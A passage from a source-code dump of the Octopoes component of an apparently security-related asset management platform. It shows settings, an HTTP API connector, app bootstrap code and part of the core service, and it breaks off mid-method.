bits_enabled: set[str] = Field(set(), examples=['[\"port-common\"]'], description=\"Explicitly enabled bits\")\n    bits_disabled: set[str] = Field(\n        set(), examples=['[\"port-classification-ip\"]'], description=\"Explicitly disabled bits\"\n    )\n\n    span_export_grpc_endpoint: AnyHttpUrl | None = Field(\n        None, description=\"OpenTelemetry endpoint\", validation_alias=\"SPAN_EXPORT_GRPC_ENDPOINT\"\n    )\n\n    logging_format: Literal[\"text\", \"json\"] = Field(\"text\", description=\"Logging format\")\n\n    outgoing_request_timeout: int = Field(30, description=\"Timeout for outgoing HTTP requests\")\n\n    workers: int = Field(4, description=\"Number of Octopoes Celery workers\")\n\n    asset_reports: bool = Field(\n        True,\n        description=\"Save asset reports for each OOI and report type. After this has been disabled, \"\n        \"all generated reports needs to be deleted before enabling this again.\",\n        validation_alias=\"ASSET_REPORTS\",\n    )\n\n    model_config = SettingsConfigDict(env_prefix=\"OCTOPOES_\")\n\n    @classmethod\n    def settings_customise_sources(\n        cls,\n        settings_cls: type[BaseSettings],\n        init_settings: PydanticBaseSettingsSource,\n        env_settings: PydanticBaseSettingsSource,\n        dotenv_settings: PydanticBaseSettingsSource,\n        file_secret_settings: PydanticBaseSettingsSource,\n    ) -> tuple[PydanticBaseSettingsSource, ...]:\n        backwards_compatible_settings = BackwardsCompatibleEnvSettings(settings_cls)\n        return (env_settings, init_settings, file_secret_settings, backwards_compatible_settings)\n\n\nDEFAULT_SCAN_LEVEL_FILTER = {scan_level for scan_level in ScanLevel}\nDEFAULT_SCAN_PROFILE_TYPE_FILTER = {scan_profile_type for scan_profile_type in ScanProfileType}\nDEFAULT_SEVERITY_FILTER = {severity for severity in RiskLevelSeverity}\nDEFAULT_LIMIT = 50\nDEFAULT_OFFSET = 0\nQUEUE_NAME_OCTOPOES = \"octopoes\"\nGATHER_BIT_METRICS = False\n"
  },
  {
    "path": "octopoes/octopoes/connector/__init__.py",
    "content": "class ConnectorException(Exception):\n    def __init__(self, value: str):\n        self.value = value\n\n    def __str__(self) -> str:\n        return self.value\n\n\nclass RemoteException(ConnectorException):\n    pass\n\n\nclass DecodeException(ConnectorException):\n    pass\n"
  },
  {
    "path": "octopoes/octopoes/connector/katalogus.py",
    "content": "import httpx\n\n\nclass KATalogusClient:\n    def __init__(self, base_uri: str):\n        self.base_uri = f\"{base_uri.rstrip('/')}/v1\"\n\n    def get_organisations(self) -> list[str]:\n        response = httpx.get(f\"{self.base_uri}/organisations\", timeout=30)\n        response.raise_for_status()\n\n        return response.json().keys()\n"
  },
  {
    "path": "octopoes/octopoes/connector/octopoes.py",
    "content": "import json\nfrom collections.abc import Iterable, Sequence\nfrom datetime import datetime\nfrom typing import Annotated, Literal\nfrom uuid import UUID\n\nimport httpx\nimport structlog\nfrom httpx import HTTPError, Response\nfrom pydantic import Field, TypeAdapter, ValidationError\n\nfrom octopoes.api.models import Affirmation, Declaration, Observation, ServiceHealth\nfrom octopoes.config.settings import DEFAULT_LIMIT, DEFAULT_OFFSET\nfrom octopoes.connector import DecodeException, RemoteException\nfrom octopoes.models import OOI, Reference, ScanLevel, ScanProfile, ScanProfileType\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.explanation import InheritanceSection\nfrom octopoes.models.ooi.findings import Finding, RiskLevelSeverity\nfrom octopoes.models.ooi.reports import HydratedReport\nfrom octopoes.models.origin import Origin, OriginParameter, OriginType\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.transaction import TransactionRecord\nfrom octopoes.models.tree import ReferenceTree\nfrom octopoes.models.types import OOIType, type_by_name\nfrom octopoes.types import AFFIRMATION_CREATED, DECLARATION_CREATED, OBJECT_DELETED, OBSERVATION_CREATED, ORIGIN_DELETED\n\nQueryTypeAdapter = TypeAdapter(OOIType | str)\nQueryManyTypeAdapter = TypeAdapter(list[tuple[str, OOIType | str]])\nHydratedReportsTypeAdapter = TypeAdapter(dict[UUID, HydratedReport])\nPaginatedOOITypeAdapter = TypeAdapter(Paginated[Annotated[OOIType, Field(discriminator=\"object_type\")]])\nPaginatedFindingTypeAdapter = TypeAdapter(Paginated[Annotated[Finding, Field(discriminator=\"object_type\")]])\nTransactionRecordTypeAdapter = TypeAdapter(list[TransactionRecord])\nOriginTypeAdapter = TypeAdapter(list[Origin])\nOriginParameterTypeAdapter = TypeAdapter(list[OriginParameter])\nHydratedReportTypeAdapter = TypeAdapter(HydratedReport)\nPaginatedHydratedReportsTypeAdapter = TypeAdapter(Paginated[HydratedReport])\nObjectsTypeAdapter = TypeAdapter(dict[str, Annotated[OOIType, Field(discriminator=\"object_type\")]])\nObjectsDictTypeAdapter = TypeAdapter(dict[Reference, Annotated[OOIType, Field(discriminator=\"object_type\")]])\nScanprofilesListTypeAdapter = TypeAdapter(list[InheritanceSection])\nDeclarationsTypeAdapter = TypeAdapter(list[Declaration])\n\n\nclass OctopoesAPIConnector:\n    \"\"\"\n    Methods on this Connector can throw\n        - httpx.HTTPError if HTTP connection to Octopoes API fails\n        - connector.ObjectNotFoundException if the OOI node cannot be found\n        - connector.RemoteException if an error occurs inside Octopoes API\n    \"\"\"\n\n    def __init__(self, base_uri: str, client: str, timeout: int = 30):\n        self.base_uri = base_uri\n        self.client = client\n        self.session = httpx.Client(\n            base_url=base_uri, timeout=timeout, event_hooks={\"response\": [self._verify_response]}\n        )\n        self.logger = structlog.get_logger(\"octopoes-connector\", organisation_code=client)\n\n    @staticmethod\n    def _verify_response(response: Response) -> None:\n        try:\n            response.read()  # read the response body before raising an exception\n            response.raise_for_status()\n        except HTTPError as error:\n            if response.status_code == 404:\n                data = response.json()\n                raise ObjectNotFoundException(data[\"detail\"]) from error\n            if 500 <= response.status_code < 600:\n                data = response.content  # handles unicode issues\n                raise RemoteException(value=data) from error\n            raise\n        except json.decoder.JSONDecodeError as error:\n            raise DecodeException(\"JSON decode error\") from error\n\n    def root_health(self) -> ServiceHealth:\n        return ServiceHealth.model_validate_json(self.session.get(\"/health\").content)\n\n    def health(self) -> ServiceHealth:\n        return ServiceHealth.model_validate_json(self.session.get(f\"/{self.client}/health\").content)\n\n    def list_objects(\n        self,\n        types: set[type[OOI]] | set[str],\n        valid_time: datetime,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        scan_level: set[ScanLevel] | set[int] | None = None,\n        scan_profile_type: set[ScanProfileType] | set[str] | None = None,\n        search_string: str | None = None,\n        order_by: Literal[\"scan_level\", \"object_type\"] = \"object_type\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"asc\",\n    ) -> Paginated[OOIType]:\n        params: dict[str, str | int | list[str] | list[int] | None] = {\n            \"types\": [t.__name__ if hasattr(t, \"__name__\") else t for t in types if t],\n            \"valid_time\": str(valid_time),\n            \"offset\": offset,\n            \"limit\": limit,\n            \"order_by\": order_by,\n            \"asc_desc\": asc_desc,\n        }\n\n        if scan_level:\n            scan_levels: list[int] = []\n            for slevel in scan_level:\n                if isinstance(slevel, int):\n                    scan_levels.append(slevel)\n                else:\n                    scan_levels.append(slevel.value)\n            params[\"scan_level\"] = scan_levels\n        if scan_profile_type:\n            scan_profile_types: list[str] = []\n            for sprofile in scan_profile_type:\n                if isinstance(sprofile, str):\n                    scan_profile_types.append(sprofile)\n                else:\n                    scan_profile_types.append(sprofile.value)\n            params[\"scan_profile_type\"] = scan_profile_types\n        if search_string:\n            params[\"search_string\"] = search_string\n        params = {k: v for k, v in params.items() if v is not None}  # filter out None values\n        res = self.session.get(f\"/{self.client}/objects\", params=params)\n        return PaginatedOOITypeAdapter.validate_json(res.content)\n\n    def get(self, reference: Reference, valid_time: datetime) -> OOIType:\n        res = self.session.get(\n            f\"/{self.client}/object\", params={\"reference\": str(reference), \"valid_time\": str(valid_time)}\n        )\n        objectjson = res.json()\n        objecttypename = objectjson.get(\"object_type\", None)\n        try:\n            if not objecttypename:\n                raise ValidationError(\n                    f\"JSON from Octopoes for `{reference}`@{valid_time}  did not contain 'object_type' property.\"\n                )\n            objecttype: type[OOI] = type_by_name(objecttypename)\n            instance: OOIType = objecttype.model_validate(objectjson)\n            return instance\n        except ValidationError as error:\n            self.logger.error(\n                \"Could not validate OOI: `%s` against schema of type: `%s`\",\n                objectjson.get(\"primary_key\", \"unknown-primary-key\"),\n                objecttypename or \"Unknown Object type\",\n                objectdata=objectjson,\n                error=error,\n            )\n            raise\n\n    def get_history(\n        self,\n        reference: Reference,\n        *,\n        sort_order: str = \"asc\",  # Or: \"desc\"\n        with_docs: bool = False,\n        has_doc: bool | None = None,\n        offset: int = 0,\n        limit: int | None = None,\n        indices: list[int] | None = None,\n    ) -> list[TransactionRecord]:\n        params: dict[str, str | int | list[int] | None] = {\n            \"reference\": str(reference),\n            \"sort_order\": sort_order,\n            \"with_docs\": with_docs,\n            \"has_doc\": has_doc,\n            \"offset\": offset,\n            \"limit\": limit,\n            \"indices\": indices,\n        }\n        params = {k: v for k, v in params.items() if v is not None}  # filter out None values\n        res = self.session.get(f\"/{self.client}/object-history\", params=params)\n        return TransactionRecordTypeAdapter.validate_json(res.content)\n\n    def get_tree(\n        self,\n        reference: Reference,\n        valid_time: datetime,\n        types: set[type[OOI]] | set[str] | None = None,\n        depth: int = 1,\n        with_scan_profiles: bool | None = True,\n    ) -> ReferenceTree:\n        params: dict[str, str | int | list[str]] = {\n            \"reference\": str(reference),\n            \"depth\": depth,\n            \"valid_time\": str(valid_time),\n            \"with_scan_profiles\": \"false\",\n        }\n        if with_scan_profiles:\n            params[\"with_scan_profiles\"] = \"true\"\n        if types:\n            params[\"types\"] = [t.__name__ if hasattr(t, \"__name__\") else t for t in types if t]\n        res = self.session.get(f\"/{self.client}/tree\", params=params)\n        return ReferenceTree.model_validate_json(res.content)\n\n    def list_origins(\n        self,\n        valid_time: datetime,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        source: Reference | None = None,\n        result: Reference | None = None,\n        method: str | list[str] | None = None,\n        task_id: UUID | None = None,\n        origin_type: OriginType | None = None,\n    ) -> list[Origin]:\n        params = {\n            \"valid_time\": str(valid_time),\n            \"source\": source,\n            \"result\": result,\n            \"offset\": offset,\n            \"limit\": limit,\n            \"method\": method,\n            \"task_id\": str(task_id) if task_id else None,\n            \"origin_type\": str(origin_type.value) if origin_type else None,\n        }\n        params = {k: v for k, v in params.items() if v is not None}  # filter out None values\n        res = self.session.get(f\"/{self.client}/origins\", params=params)\n\n        return OriginTypeAdapter.validate_json(res.content)\n\n    def delete_origin(self, origin_id: str, valid_time: datetime, sync: bool = False) -> None:\n        params = {\"valid_time\": str(valid_time), \"origin_id\": origin_id}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.delete(f\"/{self.client}/origins\", params=params)\n\n        self.logger.info(\n            \"Deleted origin\", origin_id=origin_id, valid_time=valid_time, event_code=ORIGIN_DELETED, sync=sync\n        )\n\n    def save_observation(self, observation: Observation, sync: bool = False) -> None:\n        params = {}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.post(f\"/{self.client}/observations\", params=params, json=observation.model_dump(mode=\"json\"))\n\n        self.logger.info(\"Saved observation\", observation=observation, event_code=OBSERVATION_CREATED, sync=sync)\n\n    def save_declaration(self, declaration: Declaration, sync: bool = False) -> None:\n        params = {}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.post(f\"/{self.client}/declarations\", params=params, json=declaration.model_dump(mode=\"json\"))\n\n        self.logger.info(\"Saved declaration\", declaration=declaration, event_code=DECLARATION_CREATED, sync=sync)\n\n    def save_many_declarations(self, declarations: list[Declaration], sync: bool = False) -> None:\n        params = {}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.post(\n            f\"/{self.client}/declarations/save_many\",\n            params=params,\n            json=DeclarationsTypeAdapter.dump_python(declarations, mode=\"json\"),\n        )\n\n        self.logger.info(\"Saved %s declarations\", len(declarations), event_code=DECLARATION_CREATED, sync=sync)\n\n    def save_affirmation(self, affirmation: Affirmation, sync: bool = False) -> None:\n        params = {}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.post(f\"/{self.client}/affirmations\", params=params, json=affirmation.model_dump(mode=\"json\"))\n\n        self.logger.info(\"Saved affirmation\", affirmation=affirmation, event_code=AFFIRMATION_CREATED, sync=sync)\n\n    def save_scan_profile(self, scan_profile: ScanProfile, valid_time: datetime, sync: bool = False) -> None:\n        params = {\"valid_time\": str(valid_time)}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.put(f\"/{self.client}/scan_profiles\", params=params, json=scan_profile.model_dump(mode=\"json\"))\n\n        self.logger.info(\"Saved Scan profile\", scan_profile=scan_profile, valid_time=valid_time, sync=sync)\n\n    def save_many_scan_profiles(\n        self, scan_profiles: list[ScanProfile], valid_time: datetime, sync: bool = False\n    ) -> None:\n        params = {\"valid_time\": str(valid_time)}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.post(\n            f\"/{self.client}/scan_profiles/save_many\",\n            params=params,\n            json=[scan_profile.model_dump(mode=\"json\") for scan_profile in scan_profiles],\n        )\n\n    def delete(self, reference: Reference, valid_time: datetime, sync: bool = False) -> None:\n        params = {\"reference\": str(reference), \"valid_time\": str(valid_time)}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.delete(f\"/{self.client}/\", params=params)\n\n        self.logger.info(\n            \"Deleted object\", reference=reference, valid_time=valid_time, event_code=OBJECT_DELETED, sync=sync\n        )\n\n    def delete_many(self, references: list[Reference], valid_time: datetime, sync: bool = False) -> None:\n        params = {\"valid_time\": str(valid_time)}\n        if sync:\n            params[\"sync\"] = \"true\"\n        self.session.post(f\"/{self.client}/objects/delete_many\", params=params, json=[str(ref) for ref in references])\n\n        self.logger.info(\n            \"Deleted objects\", references=references, valid_time=valid_time, event_code=OBJECT_DELETED, sync=sync\n        )\n\n    def list_origin_parameters(self, origin_id: set[str], valid_time: datetime) -> list[OriginParameter]:\n        params = {\"origin_id\": list(origin_id), \"valid_time\": str(valid_time)}\n        res = self.session.get(f\"/{self.client}/origin_parameters\", params=params)\n        return OriginParameterTypeAdapter.validate_json(res.content)\n\n    def create_node(self):\n        self.session.post(f\"/{self.client}/node\")\n\n        self.logger.info(\"Created node\")\n\n    def delete_node(self):\n        self.session.delete(f\"/{self.client}/node\")\n\n        self.logger.info(\"Deleted node\")\n\n    def get_scan_profile_inheritance(self, reference: Reference, valid_time: datetime) -> list[InheritanceSection]:\n        params = {\"reference\": str(reference), \"valid_time\": str(valid_time)}\n        res = self.session.get(f\"/{self.client}/scan_profiles/inheritance\", params=params)\n        return ScanprofilesListTypeAdapter.validate_json(res.content)\n\n    def count_findings_by_severity(self, valid_time: datetime) -> dict[str, int]:\n        params = {\"valid_time\": str(valid_time)}\n        res = self.session.get(f\"/{self.client}/findings/count_by_severity\", params=params)\n        return res.json()\n\n    def list_findings(\n        self,\n        severities: Iterable[RiskLevelSeverity],\n        valid_time: datetime,\n        exclude_muted: bool = True,\n        only_muted: bool = False,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        search_string: str | None = None,\n        order_by: Literal[\"score\", \"finding_type\"] = \"score\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"desc\",\n    ) -> Paginated[Finding]:\n        params: dict[str, str | int | list[str] | None] = {\n            \"valid_time\": str(valid_time),\n            \"offset\": offset,\n            \"limit\": limit,\n            \"severities\": [s.value for s in severities],\n            \"exclude_muted\": exclude_muted,\n            \"only_muted\": only_muted,\n            \"order_by\": order_by,\n            \"asc_desc\": asc_desc,\n        }\n        if search_string:\n            params[\"search_string\"] = search_string\n\n        params = {k: v for k, v in params.items() if v is not None}  # filter out None values\n        res = self.session.get(f\"/{self.client}/findings\", params=params)\n        return PaginatedFindingTypeAdapter.validate_json(res.content)\n\n    def list_reports(\n        self,\n        valid_time: datetime,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        recipe_id: UUID | None = None,\n    ) -> Paginated[HydratedReport]:\n        params: dict[str, str | int] = {\"valid_time\": str(valid_time), \"offset\": offset, \"limit\": limit}\n\n        if recipe_id:\n            params[\"recipe_id\"] = recipe_id.hex\n\n        res = self.session.get(f\"/{self.client}/reports\", params=params)\n\n        return PaginatedHydratedReportsTypeAdapter.validate_json(res.content)\n\n    def bulk_list_reports(\n        self, valid_time: datetime, reports_filters: list[tuple[str, str]]\n    ) -> dict[UUID, HydratedReport]:\n        \"\"\"\n        Return HydratedReport over multiple clients.\n        The reports_filter is a list of tuples of (client, recipe_id).\n        \"\"\"\n        res = self.session.post(\"/reports\", json=reports_filters, params={\"valid_time\": str(valid_time)})\n\n        return HydratedReportsTypeAdapter.validate_json(res.content)\n\n    def list_object_clients(self, reference: Reference, clients: set[str], valid_time: datetime) -> dict[str, OOIType]:\n        \"\"\"\n        Return the clients from the provided list that have the given OOI at the valid_time.\n        \"\"\"\n        res = self.session.get(\n            \"/object-clients\", params={\"reference\": reference, \"clients\": list(clients), \"valid_time\": str(valid_time)}\n        )\n\n        return ObjectsTypeAdapter.validate_json(res.content)\n\n    def get_report(self, report_id: str, valid_time: datetime) -> HydratedReport:\n        params = {\"valid_time\": str(valid_time)}\n\n        res = self.session.get(f\"/{self.client}/reports/{report_id}\", params=params)\n\n        return HydratedReportTypeAdapter.validate_json(res.content)\n\n    def load_objects_bulk(\n        self, references: set[Reference], valid_time: datetime, with_scan_profiles: bool | None = True\n    ) -> dict[Reference, OOIType]:\n        params = {\"valid_time\": str(valid_time), \"with_scan_profiles\": \"false\"}\n        if with_scan_profiles:\n            params[\"with_scan_profiles\"] = \"true\"\n        res = self.session.post(\n            f\"/{self.client}/objects/load_bulk\", params=params, json=[str(ref) for ref in references]\n        )\n        return ObjectsDictTypeAdapter.validate_json(res.content)\n\n    def recalculate_bits(self) -> int:\n        return self.session.post(f\"/{self.client}/bits/recalculate\").json()\n\n    def query(\n        self,\n        path: str,\n        valid_time: datetime,\n        source: OOI | Reference | str | None = None,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n    ) -> list[OOI]:\n        params = {\n            \"path\": path,\n            \"source\": source.reference if isinstance(source, OOI) else source,\n            \"valid_time\": str(valid_time),\n            \"offset\": offset,\n            \"limit\": limit,\n        }\n        params = {k: v for k, v in params.items() if v is not None}  # filter out None values\n\n        return [\n            QueryTypeAdapter.validate_python(ooi)\n            for ooi in self.session.get(f\"/{self.client}/query\", params=params).json()\n        ]\n\n    def query_many(\n        self, path: str, valid_time: datetime, sources: Sequence[OOI | Reference | str]\n    ) -> list[tuple[str, OOIType]]:\n        if not sources:\n            return []\n\n        params = {\"path\": path, \"sources\": [str(ooi) for ooi in sources], \"valid_time\": str(valid_time)}\n\n        result = self.session.get(f\"/{self.client}/query-many\", params=params).json()\n\n        return QueryManyTypeAdapter.validate_python(result)\n\n    def export_all(self):\n        return self.session.get(f\"/{self.client}/io/export\").json()\n\n    def import_add(self, content):\n        return self.session.post(f\"/{self.client}/io/import/add\", content=content).json()\n\n    def import_new(self, content):\n        return self.session.post(f\"/{self.client}/io/import/new\", content=content).json()\n\n    def _bulk_migrate_origins(self, origins: list[Origin], valid_time: datetime) -> None:\n        \"\"\"Single-purpose method that should not be used outside the migration, hence private\"\"\"\n\n        params = {\"valid_time\": str(valid_time)}\n        self.session.post(\n            f\"/{self.client}/origins/migrate\", params=params, json=[x.model_dump(mode=\"json\") for x in origins]\n        )\n"
  },
  {
    "path": "octopoes/octopoes/core/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/core/app.py",
    "content": "from typing import Any\n\nimport structlog\nfrom amqp import AMQPError\n\nfrom octopoes.config.settings import GATHER_BIT_METRICS, QUEUE_NAME_OCTOPOES, Settings\nfrom octopoes.core.service import OctopoesService\nfrom octopoes.events.manager import EventManager, get_rabbit_channel\nfrom octopoes.tasks.app import app as celery_app\nfrom octopoes.xtdb.client import XTDBHTTPClient, XTDBSession\n\nlogger = structlog.get_logger(__name__)\nsettings = Settings()\n\n\ndef get_xtdb_client(base_uri: str, client: str) -> XTDBHTTPClient:\n    base_uri = base_uri.rstrip(\"/\")\n\n    return XTDBHTTPClient(f\"{base_uri}/_xtdb\", node=client)\n\n\ndef close_rabbit_channel(queue_uri: str) -> None:\n    rabbit_channel = get_rabbit_channel(queue_uri)\n\n    try:\n        rabbit_channel.connection.close()\n        logger.info(\"Closed connection to RabbitMQ\")\n    except AMQPError:\n        logger.exception(\"Unable to close rabbit\")\n\n\n_octopoes_instances: dict[str, Any] = {}\n\n\ndef get_octopoes(client: str) -> OctopoesService:\n    if client not in _octopoes_instances:\n        _octopoes_instances[client] = bootstrap_octopoes(client=client)\n    return _octopoes_instances[client]\n\n\ndef bootstrap_octopoes(client: str, xtdb_session: XTDBSession | None = None) -> OctopoesService:\n    if not xtdb_session:\n        xtdb_session = XTDBSession(get_xtdb_client(str(settings.xtdb_uri), client))\n    event_manager = EventManager(client, str(settings.queue_uri), celery_app, QUEUE_NAME_OCTOPOES)\n    return OctopoesService(event_manager, xtdb_session, GATHER_BIT_METRICS)\n"
  },
  {
    "path": "octopoes/octopoes/core/service.py",
    "content": "import json\nfrom collections import Counter\nfrom collections.abc import Callable, ValuesView\nfrom datetime import datetime, timezone\nfrom functools import cached_property\nfrom time import perf_counter\nfrom typing import Literal, overload\n\nimport structlog\nfrom bits.definitions import get_bit_definitions\nfrom bits.runner import BitRunner\nfrom httpx import HTTPError\nfrom pydantic import TypeAdapter\n\nfrom octopoes.api.models import ServiceHealth\nfrom octopoes.config.settings import DEFAULT_LIMIT, DEFAULT_OFFSET, Settings\nfrom octopoes.events.events import DBEvent, OOIDBEvent, OriginDBEvent, OriginParameterDBEvent, ScanProfileDBEvent\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import (\n    OOI,\n    DeclaredScanProfile,\n    EmptyScanProfile,\n    InheritedScanProfile,\n    Reference,\n    ScanLevel,\n    ScanProfileType,\n    format_id_short,\n)\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.explanation import InheritanceSection\nfrom octopoes.models.ooi.config import Config\nfrom octopoes.models.origin import Origin, OriginParameter, OriginType\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.path import (\n    Path,\n    get_max_scan_level_inheritance,\n    get_max_scan_level_issuance,\n    get_paths_to_neighbours,\n)\nfrom octopoes.models.transaction import TransactionRecord\nfrom octopoes.models.tree import ReferenceTree\nfrom octopoes.repositories.ooi_repository import XTDBOOIRepository\nfrom octopoes.repositories.origin_parameter_repository import XTDBOriginParameterRepository\nfrom octopoes.repositories.origin_repository import XTDBOriginRepository\nfrom octopoes.repositories.scan_profile_repository import XTDBScanProfileRepository\nfrom octopoes.version import __version__\nfrom octopoes.xtdb.client import Operation, OperationType, XTDBSession\n\nlogger = structlog.get_logger(\"octopoes-core-service\")\nsettings = Settings()\n\n\ndef find_relation_in_tree(relation: str, tree: ReferenceTree) -> list[OOI]:\n    parts = relation.split(\".\")\n    nodes = [tree.root]\n    for part in parts:\n        child_nodes = []\n        for node in nodes:\n            if part in node.children:\n                child_nodes.extend(node.children[part])\n        nodes = child_nodes\n    return [tree.store[str(node.reference)] for node in nodes]\n\n\nclass OctopoesService:\n    def __init__(self, event_manager: EventManager, session: XTDBSession, metrics: bool | None = False):\n        self.event_manager = event_manager\n        self.session = session\n        self.metrics = metrics\n\n    @cached_property\n    def ooi_repository(self):\n        return XTDBOOIRepository(self.event_manager, self.session)\n\n    @cached_property\n    def origin_repository(self):\n        return XTDBOriginRepository(self.event_manager, self.session)\n\n    @cached_property\n    def origin_parameter_repository(self):\n        return XTDBOriginParameterRepository(self.event_manager, self.session)\n\n    @cached_property\n    def scan_profile_repository(self):\n        return XTDBScanProfileRepository(self.event_manager, self.session)\n\n    @overload\n    def _populate_scan_profiles(self, oois: ValuesView[OOI], valid_time: datetime) -> ValuesView[OOI]: ...\n\n    @overload\n    def _populate_scan_profiles(self, oois: list[OOI], valid_time: datetime) -> list[OOI]: ...\n\n    def _populate_scan_profiles(\n        self, oois: list[OOI] | ValuesView[OOI], valid_time: datetime\n    ) -> list[OOI] | ValuesView[OOI]:\n        logger.debug(\"Populating scan profiles for %s oois\", len(oois))\n\n        ooi_cache: dict[str, OOI] = {str(ooi.reference): ooi for ooi in oois}\n        scan_profiles = self.scan_profile_repository.get_bulk({x.reference for x in oois}, valid_time)\n        for ooi in oois:\n            ooi.scan_profile = EmptyScanProfile(reference=ooi.reference)\n        for scan_profile in scan_profiles:\n            ooi_cache[str(scan_profile.reference)].scan_profile = scan_profile\n\n        return oois\n\n    def get_ooi(self, reference: Reference, valid_time: datetime) -> OOI:\n        ooi = self.ooi_repository.get(reference, valid_time)\n        return self._populate_scan_profiles([ooi], valid_time)[0]\n\n    def get_ooi_history(\n        self,\n        reference: Reference,\n        *,\n        sort_order: str = \"asc\",  # Or: \"desc\"\n        with_docs: bool = False,\n        has_doc: bool | None = None,\n        offset: int = 0,\n        limit: int | None = None,\n        indices: list[int] | None = None,\n    ) -> list[TransactionRecord]:\n        return self.ooi_repository.get_history(\n            reference,\n            sort_order=sort_order,\n            with_docs=with_docs,\n            has_doc=has_doc,\n            offset=offset,\n            limit=limit,\n            indices=indices,\n        )\n\n    def list_ooi(\n        self,\n        types: set[type[OOI]],\n        valid_time: datetime,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        scan_levels: set[ScanLevel] | None = None,\n        scan_profile_types: set[ScanProfileType] | None = None,\n        search_string: str | None = None,\n        order_by: Literal[\"scan_level\", \"object_type\"] = \"object_type\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"asc\",\n    ) -> Paginated[OOI]:\n        paginated = self.ooi_repository.list_oois(\n            types, valid_time, offset, limit, scan_levels, scan_profile_types, search_string, order_by, asc_desc\n        )\n        self._populate_scan_profiles(paginated.items, valid_time)\n        return paginated\n\n    def get_ooi_tree(\n        self,\n        reference: Reference,\n        valid_time: datetime,\n        search_types: set[type[OOI]] | None = None,\n        depth: int = 1,\n        with_scan_profiles: bool | None = False,\n    ) -> ReferenceTree:\n        tree = self.ooi_repository.get_tree(reference, valid_time, search_types, depth, with_scan_profiles)\n        return tree\n\n    def _delete_ooi(self, reference: Reference, valid_time: datetime) -> None:\n        referencing_origins = self.origin_repository.list_origins(valid_time, result=reference)\n        if not any(\n            origin\n            for origin in referencing_origins\n            if not (\n                origin.origin_type == OriginType.AFFIRMATION\n                or (origin.origin_type == OriginType.INFERENCE and origin.source == reference)\n            )\n        ):\n            self.ooi_repository.delete_if_exists(reference, valid_time)\n\n    def save_origin(\n        self, origin: Origin, oois: list[OOI] | set[OOI], valid_time: datetime, end_valid_time: datetime | None = None\n    ) -> None:\n        origin.result = [ooi.reference for ooi in oois]\n\n        # When an Origin is saved while the source OOI does not exist, reject saving the results\n        try:\n            self.ooi_repository.get(origin.source, valid_time)\n        except ObjectNotFoundException:\n            if (\n                origin.origin_type not in [OriginType.DECLARATION, OriginType.AFFIRMATION]\n                and origin.source not in origin.result\n            ):\n                raise ValueError(\"Origin source of observation does not exist\")\n            elif origin.origin_type == OriginType.AFFIRMATION:\n                logger.debug(\"Affirmation source %s already deleted\", origin.source)\n                return\n\n        if origin.origin_type == OriginType.AFFIRMATION and not any(\n            other_origin\n            for other_origin in self.origin_repository.list_origins(\n                origin_type={OriginType.DECLARATION, OriginType.OBSERVATION, OriginType.INFERENCE},\n                valid_time=valid_time,\n                result=origin.source,\n            )\n            if not (other_origin.origin_type == OriginType.INFERENCE and [other_origin.source] == other_origin.result)\n        ):\n            logger.debug(\"Affirmation source %s seems dangling, deleting\", origin.source)\n            self.ooi_repository.delete_if_exists(origin.source, valid_time)\n            return\n\n        for ooi in oois:\n            self.ooi_repository.save(ooi, valid_time=valid_time, end_valid_time=end_valid_time)\n        self.origin_repository.save(origin, valid_time=valid_time)\n\n        # Origins that are stale, eg have no results and are not inferenced\n        # need to be deleted. #3561\n        if not origin.result and origin.origin_type != OriginType.INFERENCE:\n            self.origin_repository.delete(origin, valid_time=valid_time)\n\n    def _run_inference(self, origin: Origin, valid_time: datetime) -> None:\n        bit_definition = get_bit_definitions().get(origin.method, None)\n\n        if bit_definition is None:\n            self.save_origin(origin, [], valid_time)\n            return\n\n        is_disabled = bit_definition.id in settings.bits_disabled or (\n            not bit_definition.default_enabled and bit_definition.id not in settings.bits_enabled\n        )\n\n        if is_disabled:\n            self.save_origin(origin, [], valid_time)\n            return\n\n        try:\n            level = self.scan_profile_repository.get(origin.source, valid_time).level.value\n        except ObjectNotFoundException:\n            level = 0\n\n        if level < bit_definition.min_scan_level:\n            self.save_origin(origin, [], valid_time)\n            return\n\n        source = self.ooi_repository.get(origin.source, valid_time)\n\n        parameters_references = self.origin_parameter_repository.list_by_origin({origin.id}, valid_time)\n        parameters = self.ooi_repository.load_bulk_as_list({x.reference for x in parameters_references}, valid_time)\n\n        config = {}\n        if bit_definition.config_ooi_relation_path is not None:\n            configs = self.ooi_repository.get_bit_configs(source, bit_definition, valid_time)\n            if len(configs) != 0:\n                config = configs[-1].config\n\n        try:\n            if self.metrics:\n                start = perf_counter()\n                resulting_oois = BitRunner(bit_definition).run(source, parameters, config=config)\n                stop = perf_counter()\n                metrics: dict[str, str] = {\n                    \"bit\": bit_definition.id,\n                    \"config\": json.dumps(config),\n                    \"elapsed\": str(stop - start),\n                    \"parameters\": TypeAdapter(list[OOI]).dump_json(parameters).decode(),\n                    \"source\": source.model_dump_json(),\n                    \"xt/id\": \"BIT_METRIC\",\n                    \"yield\": TypeAdapter(list[OOI]).dump_json(resulting_oois).decode(),\n                }\n                ops: list[Operation] = [(OperationType.PUT, metrics, valid_time)]\n                